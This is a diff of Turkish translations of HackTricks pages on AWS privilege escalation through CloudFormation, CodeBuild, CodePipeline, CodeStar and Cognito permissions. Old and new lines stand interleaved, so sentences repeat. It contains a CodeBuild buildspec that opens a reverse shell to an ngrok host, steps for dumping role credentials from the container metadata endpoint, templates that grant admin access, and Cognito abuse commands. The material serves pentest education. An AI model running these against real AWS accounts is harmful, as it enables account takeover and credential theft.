### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
Bir rolü **geçirme ve bir ChangeSet oluşturma & yürütme** izinlerine sahip bir saldırgan, **yeni bir cloudformation yığını oluşturup/güncelleyebilir ve cloudformation hizmet rollerini** CreateStack veya UpdateStack ile olduğu gibi kötüye kullanabilir.
Bir rolü **geçirme ve bir ChangeSet oluşturma & yürütme** izinlerine sahip bir saldırgan, **yeni bir cloudformation yığını oluşturup/güncelleyerek cloudformation hizmet rollerini kötüye kullanabilir**; tıpkı CreateStack veya UpdateStack ile olduğu gibi.
Aşağıdaki sömürü, **ChangeSet izinlerini** kullanarak bir yığın oluşturmanın **bir varyasyonudur**[ **CreateStack bir**](./#iam-passrole-cloudformation-createstack).
Aşağıdaki kötüye kullanım, **ChangeSet izinlerini** kullanarak bir yığın oluşturmanın **bir varyasyonudur**[ **CreateStack birine**](./#iam-passrole-cloudformation-createstack).
```bash
aws cloudformation create-change-set \
--stack-name privesc \
@@ -81,25 +81,25 @@ aws cloudformation describe-stacks \
```
`cloudformation:SetStackPolicy` izni, bir yığın üzerinde **kendinize `ChangeSet` izinleri vermek** için kullanılabilir ve saldırıyı gerçekleştirebilirsiniz.
**Olası Etki:** cloudformation hizmet rolleri için privesc.
**Olası Etki:** cloudformation hizmet rollerine privesc.
### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
Bu, **IAM rolleri** geçmeden önceki yöntem gibidir, bu nedenle sadece **zaten eklenmiş olanları kötüye kullanabilirsiniz**, sadece parametreyi değiştirin:
Bu, **IAM rollerini** geçmeden önceki yöntem gibidir, bu nedenle sadece **zaten eklenmiş olanları** kötüye kullanabilirsiniz, sadece parametreyi değiştirin:
```
--change-set-type UPDATE
```
**Olası Etki:** Zaten ekli olan cloudformation hizmet rolüne privesc.
**Olası Etki:** Zaten eklenmiş olan cloudformation hizmet rolüne privesc.
### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`)
Bir saldırgan, bu izinleri kötüye kullanarak, keyfi cloudformation rollerini kötüye kullanmak için StackSet'ler oluşturup/güncelleyebilir.
Bir saldırgan, bu izinleri kötüye kullanarak rastgele cloudformation rollerini kötüye kullanmak için StackSet'ler oluşturup/güncelleyebilir.
**Olası Etki:** Cloudformation hizmet rollerine privesc.
### `cloudformation:UpdateStackSet`
Bir saldırgan, passRole izni olmadan bu izni kötüye kullanarak, ekli cloudformation rollerini kötüye kullanmak için StackSet'leri güncelleyebilir.
Bir saldırgan, ekli cloudformation rollerini kötüye kullanmak için passRole izni olmadan StackSet'leri güncellemek için bu izni kötüye kullanabilir.
**Olası Etki:** Ekli cloudformation rollerine privesc.

View File

@@ -2,7 +2,7 @@
{{#include ../../../../banners/hacktricks-training.md}}
Bir saldırgan, örneğin, **admin** kullanıcısı için **anahtarlar** üreten bir **cloudformation şablonu** kullanabilir:
Bir saldırgan, örneğin, **admin** kullanıcısı için **anahtarlar üreten** bir **cloudformation şablonu** kullanabilir:
```json
{
"Resources": {

View File

@@ -63,7 +63,7 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
- `StartBuild`, belirli bir `buildspec.yml` kullanarak tek bir build işini tetikler.
- `StartBuildBatch`, daha karmaşık yapılandırmalarla (birden fazla build'i paralel olarak çalıştırmak gibi) bir dizi build başlatmanıza olanak tanır.
**Olası Etki:** Ekli AWS Codebuild rollerine doğrudan yetki yükseltme.
**Olası Etki:** Bağlı AWS Codebuild rollerine doğrudan yetki yükseltme.
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
@@ -114,7 +114,7 @@ aws codebuild delete-project --name codebuild-demo-project
```
{{#endtab }}
{{#tab name="Örnek2" }}
{{#tab name="Example2" }}
```bash
# Generated by AI, not tested
# Create a buildspec.yml file with reverse shell command
@@ -137,20 +137,20 @@ aws codebuild start-build --project-name reverse-shell-project
{{#endtab }}
{{#endtabs }}
**Potansiyel Etki:** Herhangi bir AWS Codebuild rolüne doğrudan yetki yükseltme.
**Olası Etki:** Herhangi bir AWS Codebuild rolüne doğrudan yetki yükseltme.
> [!WARNING]
> Bir **Codebuild konteynerinde** dosya `/codebuild/output/tmp/env.sh` **metadata kimlik bilgilerine** erişmek için gereken tüm ortam değişkenlerini içerir.
> Bu dosya, **kimlik bilgilerine erişim için URL yolu** içeren **`AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** ortam değişkenini içerir. Bu, `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` gibi bir şey olacaktır.
> Bu dosya, **kimlik bilgilerine erişim için URL yolu** içeren **ortam değişkeni `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** içerir. Bu, `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` gibi bir şey olacaktır.
> Bunu **`http://169.254.170.2/`** URL'sine ekleyin ve rol kimlik bilgilerini dökme işlemi yapabileceksiniz.
> Bunu **`http://169.254.170.2/`** URL'sine ekleyin ve rol kimlik bilgilerini dökebileceksiniz.
> Ayrıca, **konteyner hakkında metadata bilgilerini almak için** tam URL'yi içeren **`ECS_CONTAINER_METADATA_URI`** ortam değişkenini de içerir.
> Ayrıca, **konteyner hakkında metadata bilgisi almak için** tam URL'yi içeren **ortam değişkeni `ECS_CONTAINER_METADATA_URI`** de içerir.
### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
Önceki bölümde olduğu gibi, bir build projesi oluşturmak yerine onu değiştirebiliyorsanız, IAM Rolünü belirtebilir ve token'ı çalabilirsiniz.
Önceki bölümde olduğu gibi, bir yapı projesi oluşturmak yerine onu değiştirebiliyorsanız, IAM Rolünü belirtebilir ve token'ı çalabilirsiniz.
```bash
REV_PATH="/tmp/codebuild_pwn.json"
@@ -264,11 +264,11 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
{{#endtab }}
{{#endtabs }}
**Olası Etki:** Bağlı AWS Codebuild rollerine doğrudan yetki yükseltme.
**Olası Etki:** Bağlı AWS Codebuild rollerine doğrudan privesc.
### SSM
**Bir ssm oturumu başlatmak için yeterli izinlere sahip olmak** durumunda, **inşa edilen bir Codebuild projesinin içine** girmek mümkündür.
**Bir ssm oturumu başlatmak için yeterli izinlere sahip olmak** durumunda, **inşa edilen bir Codebuild projesinin içine girmek** mümkündür.
Codebuild projesinin bir kesme noktası olması gerekecek:
@@ -289,9 +289,9 @@ Daha fazla bilgi için [**belgelere göz atın**](https://docs.aws.amazon.com/co
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
Belirli bir CodeBuild projesinin `buildspec.yml` dosyasını yazma erişimine sahip olduğu bir S3 kovasında depolayan bir saldırgan, bu projeyi başlatıp/yeniden başlatabiliyorsa, CodeBuild sürecinde komut yürütme elde edebilir.
Belirli bir CodeBuild projesinin bir yapısını başlatabilen/yeniden başlatabilen bir saldırgan, `buildspec.yml` dosyasını yazma erişimine sahip olduğu bir S3 kovasında depoluyorsa, CodeBuild sürecinde komut yürütme elde edebilir.
Not: Yükseltme, yalnızca CodeBuild işçisinin saldırganınkinden farklı, umarım daha ayrıcalıklı bir role sahip olması durumunda geçerlidir.
Not: yükselme, yalnızca CodeBuild işçisinin saldırganınkinden farklı, umarım daha ayrıcalıklı bir role sahip olması durumunda geçerlidir.
```bash
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
@@ -308,7 +308,7 @@ aws codebuild start-build --project-name <project-name>
# Wait for the reverse shell :)
```
Bunu almak için **buildspec** gibi bir şey kullanabilirsiniz **reverse shell**:
Bunu yapmak için **buildspec** gibi bir şey kullanabilirsiniz:
```yaml:buildspec.yml
version: 0.2
@@ -317,13 +317,13 @@ build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
```
**Etkisi:** Genellikle yüksek ayrıcalıklara sahip olan AWS CodeBuild işçisi tarafından kullanılan role doğrudan ayrıcalık yükseltme.
**Etkisi:** AWS CodeBuild işçisi tarafından kullanılan role doğrudan yetki yükseltme, genellikle yüksek ayrıcalıklara sahiptir.
> [!WARNING]
> buildspec'in zip formatında beklenebileceğini unutmayın, bu nedenle bir saldırganın indirmesi, açması, kök dizininden `buildspec.yml` dosyasını değiştirmesi, tekrar ziplemesi ve yüklemesi gerekecektir.
Daha fazla ayrıntı [burada](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) bulunabilir.
**Olası Etki:** Ekli AWS Codebuild rollerine doğrudan ayrıcalık yükseltme.
**Olası Etki:** Ekli AWS Codebuild rollerine doğrudan yetki yükseltme.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,11 +12,11 @@ Codepipeline hakkında daha fazla bilgi için kontrol edin:
### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
Bir kod pipeline'ı oluştururken, çalıştırılacak bir **codepipeline IAM Rolü belirtebilirsiniz**, bu nedenle onları tehlikeye atabilirsiniz.
Bir kod pipeline'ı oluştururken, çalıştırmak için bir **codepipeline IAM Rolü belirtebilirsiniz**, bu nedenle onları tehlikeye atabilirsiniz.
Önceki izinlerin yanı sıra, **kodun saklandığı yere erişim** (S3, ECR, github, bitbucket...) ihtiyacınız olacak.
Bunu web sayfasında süreci gerçekleştirerek test ettim, daha önce belirtilen izinler, bir codepipeline oluşturmak için gereken List/Get izinleri değildir, ancak web'de oluşturmak için ayrıca şunlara ihtiyacınız olacak: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:<birçok>`
Bu süreci web sayfasında gerçekleştirerek test ettim, daha önce belirtilen izinler, bir codepipeline oluşturmak için gereken List/Get izinleri değildir, ancak web'de oluşturmak için ayrıca şunlara da ihtiyacınız olacak: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:<several>`
**Build projesinin oluşturulması** sırasında bir **çalıştırılacak komut** (rev shell?) belirtebilir ve build aşamasını **yetkili kullanıcı** olarak çalıştırabilirsiniz, bu, saldırganın tehlikeye atması için gereken yapılandırmadır:
@@ -30,8 +30,8 @@ Bunu web sayfasında süreci gerçekleştirerek test ettim, daha önce belirtile
### `codepipeline:pollforjobs`
[AWS,](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html) şunları belirtir:
[AWS,](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html) belirtmektedir:
> Bu API çağrıldığında, CodePipeline **pipeline için artefaktları saklamak için kullanılan S3 bucket'ı için geçici kimlik bilgileri döndürür**, eğer işlem, giriş veya çıkış artefaktları için o S3 bucket'a erişim gerektiriyorsa. Bu API ayrıca **işlem için tanımlanan herhangi bir gizli değeri döndürür**.
> Bu API çağrıldığında, CodePipeline **pipeline için artefaktları saklamak için kullanılan S3 bucket'ı için geçici kimlik bilgileri döner**, eğer işlem, giriş veya çıkış artefaktları için o S3 bucket'a erişim gerektiriyorsa. Bu API ayrıca **işlem için tanımlanan herhangi bir gizli değeri** de döner.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -39,9 +39,9 @@ aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-role "Owner" \
--remote-access-allowed
```
Eğer zaten **projenin üyesiyseniz**, rolünüzü `codestar:AssociateTeamMember` yerine **`codestar:UpdateTeamMember`** iznini kullanarak **sahip** olarak **güncelleyebilirsiniz**.
Eğer zaten **projenin üyesiyseniz**, **`codestar:UpdateTeamMember`** iznini kullanarak rolünüzü `codestar:AssociateTeamMember` yerine sahip olarak **güncelleyebilirsiniz**.
**Olası Etki:** Oluşturulan codestar politikasına privesc. Bu politikanın bir örneğini bulabilirsiniz:
**Olası Etki:** Oluşturulan codestar politikasına privesc. Bu politikanın bir örneğini şurada bulabilirsiniz:
{{#ref}}
codestar-createproject-codestar-associateteammember.md
@@ -51,20 +51,20 @@ codestar-createproject-codestar-associateteammember.md
1. **Yeni Bir Proje Oluşturun:**
- Yeni bir projenin oluşturulmasını başlatmak için **`codestar:CreateProjectFromTemplate`** eylemini kullanın.
- Başarılı bir şekilde oluşturulduğunda, **`cloudformation:UpdateStack`** izni otomatik olarak verilir.
- Başarılı bir şekilde oluşturulduğunda, **`cloudformation:UpdateStack`** için erişim otomatik olarak verilir.
- Bu erişim, `CodeStarWorker-<generic project name>-CloudFormation` IAM rolü ile ilişkili bir yığına yöneliktir.
2. **Hedef Yığını Güncelleyin:**
- Verilen CloudFormation izinleri ile belirtilen yığını güncellemeye devam edin.
- Yığının adı genellikle iki desenle uyumlu olacaktır:
- `awscodestar-<generic project name>-infrastructure`
- `awscodestar-<generic project name>-lambda`
- Kesin ad, seçilen şablona bağlıdır (örnek istismar betiğine bakınız).
- Kesin ad, seçilen şablona bağlıdır (örnek istismar betiğine atıfta bulunarak).
3. **Erişim ve İzinler:**
- Güncelleme sonrası, yığınla bağlantılı **CloudFormation IAM rolü** ile atanan yetenekleri elde edersiniz.
- Not: Bu, doğası gereği tam yönetici ayrıcalıkları sağlamaz. Ayrıcalıkları daha da yükseltmek için ortamda ek yanlış yapılandırılmış kaynaklar gerekebilir.
Daha fazla bilgi için orijinal araştırmaya bakın: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\
İstismarı [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py) adresinde bulabilirsiniz.
İstismarı şurada bulabilirsiniz: [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py)
**Olası Etki:** Cloudformation IAM rolüne privesc.

View File

@@ -2,7 +2,7 @@
{{#include ../../../../banners/hacktricks-training.md}}
Bu, kullanıcının privesc yapabileceği oluşturulmuş politikadır (proje adı `supercodestar` idi):
Bu, kullanıcının privesc yapabileceği oluşturulan politikadır (proje adı `supercodestar` idi):
```json
{
"Version": "2012-10-17",

View File

@@ -2,9 +2,9 @@
{{#include ../../../../banners/hacktricks-training.md}}
Bu izinlerle, **arbitrary actions** gerçekleştirmek için **codestar IAM Rolü** kötüye kullanabilirsiniz **cloudformation template** aracılığıyla.
Bu izinlerle, **arbitrary actions** gerçekleştirmek için **codestar IAM Rolü** istismar edebilirsiniz **cloudformation template** aracılığıyla.
Bunu istismar etmek için, saldırılan hesaptan **erişilebilir bir S3 bucket** oluşturmanız gerekir. `toolchain.json` adında bir dosya yükleyin. Bu dosya, **cloudformation template exploit** içermelidir. Aşağıdaki, kontrolünüz altındaki bir kullanıcıya yönetilen bir politika atamak ve **admin permissions** vermek için kullanılabilir:
Bunu istismar etmek için, saldırılan hesaptan **erişilebilir bir S3 bucket** oluşturmanız gerekir. `toolchain.json` adında bir dosya yükleyin. Bu dosya, kontrolünüz altındaki bir kullanıcıya yönetilen bir politika atamak ve **admin permissions** vermek için kullanılabilecek **cloudformation template exploit** içermelidir:
```json:toolchain.json
{
"Resources": {
@@ -28,13 +28,13 @@ Bunu istismar etmek için, saldırılan hesaptan **erişilebilir bir S3 bucket**
}
}
```
Ayrıca bu `boş zip` dosyasını **bucket**'a **yükleyin**:
Ayrıca bu `empty zip` dosyasını **bucket**'a **yükleyin**:
{% file src="../../../../images/empty.zip" %}
**Her iki dosyanın da kurban hesabı tarafından erişilebilir olması gerektiğini** unutmayın.
Unutmayın ki **her iki dosyanın bulunduğu bucket, mağdur hesabı tarafından erişilebilir olmalıdır**.
Her iki şeyi yükledikten sonra, bir **codestar** projesi oluşturarak **istismar** işlemine geçebilirsiniz:
Her iki şey yüklendikten sonra, bir **codestar** projesi oluşturarak **istismar** işlemine geçebilirsiniz:
```bash
PROJECT_NAME="supercodestar"
@@ -79,6 +79,6 @@ aws codestar create-project \
--source-code file://$SOURCE_CODE_PATH \
--toolchain file://$TOOLCHAIN_PATH
```
Bu istismar, **bu ayrıcalıkların Pacu istismarına** dayanmaktadır: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) Burada, bir kullanıcı yerine bir rol için yönetilen bir admin politikası oluşturma varyasyonunu bulabilirsiniz.
Bu istismar, bu yetkilerin **Pacu istismarına** dayanmaktadır: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) Üzerinde, bir kullanıcı yerine bir rol için yönetilen bir admin politikası oluşturma varyasyonunu bulabilirsiniz.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -12,11 +12,11 @@ Cognito hakkında daha fazla bilgi için kontrol edin:
### Kimlik Havuzundan kimlik bilgilerini toplama
Cognito, **kimlik doğrulanmış** ve **kimlik doğrulanmamış** **kullanıcılara** **IAM rol kimlik bilgileri** verebildiğinden, bir uygulamanın **Kimlik Havuzu ID'sini** (uygulamada sabit kodlanmış olmalıdır) bulursanız yeni kimlik bilgileri elde edebilir ve dolayısıyla privesc gerçekleştirebilirsiniz (muhtemelen daha önce hiçbir kimlik bilgisine sahip olmadığınız bir AWS hesabında).
Cognito, **kimlik doğrulanmış** ve **kimlik doğrulanmamış** **kullanıcılara** **IAM rol kimlik bilgileri** verebildiğinden, bir uygulamanın **Kimlik Havuzu ID'sini** bulursanız (uygulamada sabit kodlanmış olmalıdır) yeni kimlik bilgileri elde edebilir ve dolayısıyla privesc elde edebilirsiniz (muhtemelen daha önce hiçbir kimlik bilgisine sahip olmadığınız bir AWS hesabında).
Daha fazla bilgi için [**bu sayfayı kontrol edin**](../aws-unauthenticated-enum-access/#cognito).
**Olası Etki:** Kimlik doğrulanmamış kullanıcılara bağlı hizmet rolüne doğrudan privesc (ve muhtemelen kimlik doğrulanmış kullanıcılara bağlı olanına).
**Potansiyel Etki:** Kimlik doğrulanmamış kullanıcılara bağlı hizmet rolüne doğrudan privesc (ve muhtemelen kimlik doğrulanmış kullanıcılara bağlı olanına).
### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
@@ -32,13 +32,13 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
```
Eğer cognito uygulaması **kimlik doğrulaması yapılmamış kullanıcıları etkinleştirmemişse**, bunu etkinleştirmek için `cognito-identity:UpdateIdentityPool` iznine de ihtiyacınız olabilir.
Eğer cognito uygulaması **kimlik doğrulaması yapılmamış kullanıcıları etkinleştirmemişse** bunu etkinleştirmek için `cognito-identity:UpdateIdentityPool` iznine de ihtiyacınız olabilir.
**Olası Etki:** Herhangi bir cognito rolüne doğrudan yetki yükseltme.
### `cognito-identity:update-identity-pool`
Bu izne sahip bir saldırgan, örneğin kontrolü altında bir Cognito Kullanıcı Havuzu veya giriş yapabileceği başka bir kimlik sağlayıcısı ayarlayabilir **ve bu Cognito Kimlik Havuzuna erişim sağlamak için bir yol olarak** kullanabilir. Ardından, sadece o kullanıcı sağlayıcısında **giriş yapmak**, **Kimlik Havuzundaki yapılandırılmış kimlik doğrulamalı role erişmesine izin verecektir.**
Bu izne sahip bir saldırgan, örneğin kontrolü altında bir Cognito Kullanıcı Havuzu veya giriş yapabileceği başka bir kimlik sağlayıcısı ayarlayabilir **bu Cognito Kimlik Havuzuna erişim sağlamak için**. Ardından, sadece o kullanıcı sağlayıcısında **giriş yapmak**, **Kimlik Havuzundaki yapılandırılmış kimlik doğrulamalı role erişmesine izin verecektir**.
```bash
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
@@ -69,7 +69,7 @@ aws cognito-identity update-identity-pool \
--allow-unauthenticated-identities
--allow-classic-flow
```
**Potansiyel Etki**: Kimlik havuzundaki yapılandırılmış kimlik doğrulamalı IAM rolünü tehlikeye atma.
**Olası Etki**: Kimlik havuzundaki yapılandırılmış kimlik doğrulamalı IAM rolünü tehlikeye atma.
### `cognito-idp:AdminAddUserToGroup`
@@ -80,7 +80,7 @@ aws cognito-idp admin-add-user-to-group \
--username <value> \
--group-name <value>
```
**Olası Etki:** Diğer Cognito gruplarına ve Kullanıcı Havuz Gruplarına bağlı IAM rollerine privesc.
**Olası Etki:** Diğer Cognito gruplarına ve Kullanıcı Havuz Gruplarına ekli IAM rollerine privesc.
### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
@@ -98,7 +98,7 @@ aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>
```
**Potansiyel Etki:** Yeni bir kullanıcı kaydedebiliyorsanız, kimlik havuzundaki IAM rolüne dolaylı yetki yükseltme. Herhangi bir hesabı onaylayarak diğer uygulama işlevlerine dolaylı yetki yükseltme.
**Potansiyel Etki:** Yeni bir kullanıcı kaydedebiliyorsanız, kimlik havuzu IAM rolüne dolaylı privesc. Herhangi bir hesabı onaylayarak diğer uygulama işlevlerine dolaylı privesc.
### `cognito-idp:AdminCreateUser`
@@ -111,17 +111,17 @@ aws cognito-idp admin-create-user \
[--validation-data <value>]
[--temporary-password <value>]
```
**Potansiyel Etki:** Kimlik havuzundaki IAM rolüne doğrudan privesc, kimliği doğrulanmış kullanıcılar için. Herhangi bir kullanıcı oluşturma yeteneği ile diğer uygulama işlevlerine dolaylı privesc.
**Potansiyel Etki:** Kimlik havuzundaki IAM rolüne doğrudan yetki yükseltme (privesc) için kimlik doğrulanmış kullanıcılar. Herhangi bir kullanıcı oluşturma yeteneği ile diğer uygulama işlevlerine dolaylı yetki yükseltme (privesc).
### `cognito-idp:AdminEnableUser`
Bu izin, bir saldırganın devre dışı bırakılmış bir kullanıcının kimlik bilgilerini bulduğu ve onu **tekrar etkinleştirmesi gerektiği** çok uç bir senaryoda yardımcı olabilir.
Bu izin, bir saldırganın devre dışı bırakılmış bir kullanıcının kimlik bilgilerini bulduğu ve onu **tekrar etkinleştirmesi** gerektiği çok uç bir senaryoda yardımcı olabilir.
```bash
aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>
```
**Potansiyel Etki:** Saldırganın devre dışı bırakılmış bir kullanıcı için kimlik bilgileri varsa, kimlik havuzundaki IAM rolüne dolaylı privesc ve kullanıcının izinleri.
**Potansiyel Etki:** Saldırganın devre dışı bırakılmış bir kullanıcı için kimlik bilgileri varsa, kimlik havuzu IAM rolüne ve kullanıcının izinlerine dolaylı olarak erişim sağlanabilir.
### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
@@ -164,9 +164,9 @@ aws cognito-idp set-user-pool-mfa-config \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]
```
**UpdateUserPool:** Kullanıcı havuzunu MFA politikasını değiştirmek için güncellemek de mümkündür. [CLI'yi buradan kontrol edin](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
**UpdateUserPool:** Kullanıcı havuzunu MFA politikasını değiştirmek için güncellemek de mümkündür. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
**Potential Impact:** Saldırganın kimlik bilgilerini bildiği herhangi bir kullanıcıya dolaylı yetki yükseltme, bu MFA korumasını atlamaya izin verebilir.
**Potential Impact:** Saldırganın kimlik bilgilerini bildiği herhangi bir kullanıcıya dolaylı yetki yükseltme, bu MFA korumasını atlamasına olanak tanıyabilir.
### `cognito-idp:AdminUpdateUserAttributes`
@@ -178,15 +178,15 @@ aws cognito-idp admin-update-user-attributes \
--username <value> \
--user-attributes <value>
```
**Potansiyel Etki:** Kullanıcı özelliklerine dayalı ayrıcalıklar veren Cognito Kullanıcı Havuzu altında potansiyel dolaylı ayrıcalık yükseltme.
**Potansiyel Etki:** Kullanıcı özelliklerine dayalı olarak ayrıcalıklar veren Cognito Kullanıcı Havuzu'ndaki temel uygulamada potansiyel dolaylı ayrıcalık yükseltmesi.
### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
Bu izne sahip bir saldırgan, **zaten mevcut havuz istemcilerinden daha az kısıtlı yeni bir Kullanıcı Havuzu İstemcisi oluşturabilir**. Örneğin, yeni istemci herhangi bir kimlik doğrulama yöntemine izin verebilir, herhangi bir gizli anahtar içermeyebilir, token iptalini devre dışı bırakabilir, tokenların daha uzun süre geçerli olmasına izin verebilir...
Bu izne sahip bir saldırgan, mevcut havuz istemcilerinden **daha az kısıtlı yeni bir Kullanıcı Havuzu İstemcisi oluşturabilir**. Örneğin, yeni istemci herhangi bir türde kimlik doğrulama yöntemine izin verebilir, herhangi bir gizli anahtar bulundurmayabilir, token iptalini devre dışı bırakabilir, token'ların daha uzun süre geçerli olmasına izin verebilir...
Aynı şey, yeni bir istemci oluşturmak yerine, **mevcut birinin değiştirilmesiyle** de yapılabilir.
Aynı şey, yeni bir istemci oluşturmak yerine **mevcut birinin değiştirilmesiyle** de yapılabilir.
[**komut satırında**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (veya [**güncelleme için**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) tüm seçenekleri görebilirsiniz, kontrol edin!.
[**komut satırında**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (veya [**güncelleme için**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) tüm seçenekleri görebilirsiniz, kontrol edin!
```bash
aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
@@ -216,11 +216,11 @@ curl -v -T "PATH_TO_CSV_FILE" \
```
(Yeni bir içe aktarma işi oluşturduğunuzda, iam passrole iznine de ihtiyacınız olabilir, henüz test etmedim).
**Potansiyel Etki:** Kimlik havuzundaki IAM rolüne doğrudan privesc, kimlik doğrulanmış kullanıcılar için. Herhangi bir kullanıcı oluşturma yeteneği ile diğer uygulama işlevlerine dolaylı privesc.
**Olası Etki:** Kimlik havuzundaki doğrulanmış kullanıcılar için IAM rolüne doğrudan privesc. Herhangi bir kullanıcı oluşturma yeteneği ile diğer uygulama işlevlerine dolaylı privesc.
### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
Bir saldırgan, bu sağlayıcı aracılığıyla **giriş yapabilmek için** yeni bir kimlik sağlayıcı oluşturabilir.
Bir saldırgan, bu sağlayıcı aracılığıyla **giriş yapabilmek için** yeni bir kimlik sağlayıcısı oluşturabilir.
```bash
aws cognito-idp create-identity-provider \
--user-pool-id <value> \
@@ -230,16 +230,16 @@ aws cognito-idp create-identity-provider \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]
```
**Potansiyel Etki:** Kimlik havuzundaki IAM rolüne kimlik doğrulama yapılmış kullanıcılar için doğrudan yetki yükseltme. Herhangi bir kullanıcı oluşturma yeteneği ile diğer uygulama işlevlerine dolaylı yetki yükseltme.
**Potansiyel Etki:** Kimlik havuzundaki IAM rolüne doğrudan yetki yükseltme. Herhangi bir kullanıcı oluşturma yeteneği ile diğer uygulama işlevlerine dolaylı yetki yükseltme.
### cognito-sync:\* Analizi
Bu, Cognito Kimlik Havuzları'ndaki roller için varsayılan olarak çok yaygın bir izindir. İzinlerde bir joker karakterin her zaman kötü görünmesi (özellikle AWS'den geliyorsa) rağmen, **verilen izinler bir saldırganın bakış açısında çok faydalı değildir**.
Bu, Cognito Kimlik Havuzlarındaki roller için varsayılan olarak çok yaygın bir izindir. İzinlerde bir joker karakter her zaman kötü görünse de (özellikle AWS'den geliyorsa), **verilen izinler bir saldırganın bakış açısında çok faydalı değildir**.
Bu izin, Kimlik Havuzları içindeki kimlik bilgilerini ve Kimlik ID'lerini okumaya izin verir (bu hassas bilgi değildir).\
Kimlik ID'lerine atanmış [**Veri Setleri**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) olabilir, bu da oturum bilgilerini içerir (AWS bunu **kaydedilmiş oyun** olarak tanımlar). Bunun bazı hassas bilgileri içermesi mümkün olabilir (ancak olasılık oldukça düşüktür). Bu bilgilere erişim için [**numaralandırma sayfasında**](../aws-services/aws-cognito-enum/) nasıl erişileceğini bulabilirsiniz.
Bu izin, Kimlik Havuzlarının kullanıcı bilgilerini ve Kimlik Havuzları içindeki Kimlik Kimliklerini okumaya olanak tanır (bu hassas bilgi değildir).\
